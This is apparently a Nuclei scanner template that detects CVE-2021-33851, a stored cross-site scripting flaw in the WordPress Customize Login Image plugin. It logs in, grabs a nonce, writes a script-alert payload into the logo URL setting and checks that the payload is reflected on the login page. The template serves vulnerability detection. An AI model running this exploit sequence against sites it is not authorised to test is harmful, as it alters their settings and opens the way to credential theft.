73 lines
2.9 KiB
YAML
73 lines
2.9 KiB
YAML
id: CVE-2021-33851
|
|
|
|
info:
|
|
name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
|
|
author: 8authur
|
|
severity: medium
|
|
description: |
|
|
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
|
|
- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
|
|
- https://wordpress.org/plugins/customize-login-image/
|
|
- https://nvd.nist.gov/vuln/detail/cve-2021-33851
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2021-33851
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00069
|
|
epss-percentile: 0.28838
|
|
cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: apasionados
|
|
product: customize_login_image
|
|
framework: wordpress
|
|
tags: wpscan,cve2021,wordpress,customize-login-image,wp,authenticated,cve,wp-plugin,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /wp-admin/options.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
|
|
- |
|
|
GET /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_4 == 200'
|
|
- 'contains(header_4, "text/html")'
|
|
- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nonce
|
|
group: 1
|
|
regex:
|
|
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
|
|
internal: true
|
|
part: body
|
|
|
|
# digest: 4a0a00473045022100d7bf82ab7c608c4ae0adde81b0b62622f508e0f5160452797401654c8dc3db28022003de4831f60507f04f9271e429ec6ea25e3c7b2f7ce6e06e5e1575b369a0155f:922c64590222798bb761d5b6d8e72950
|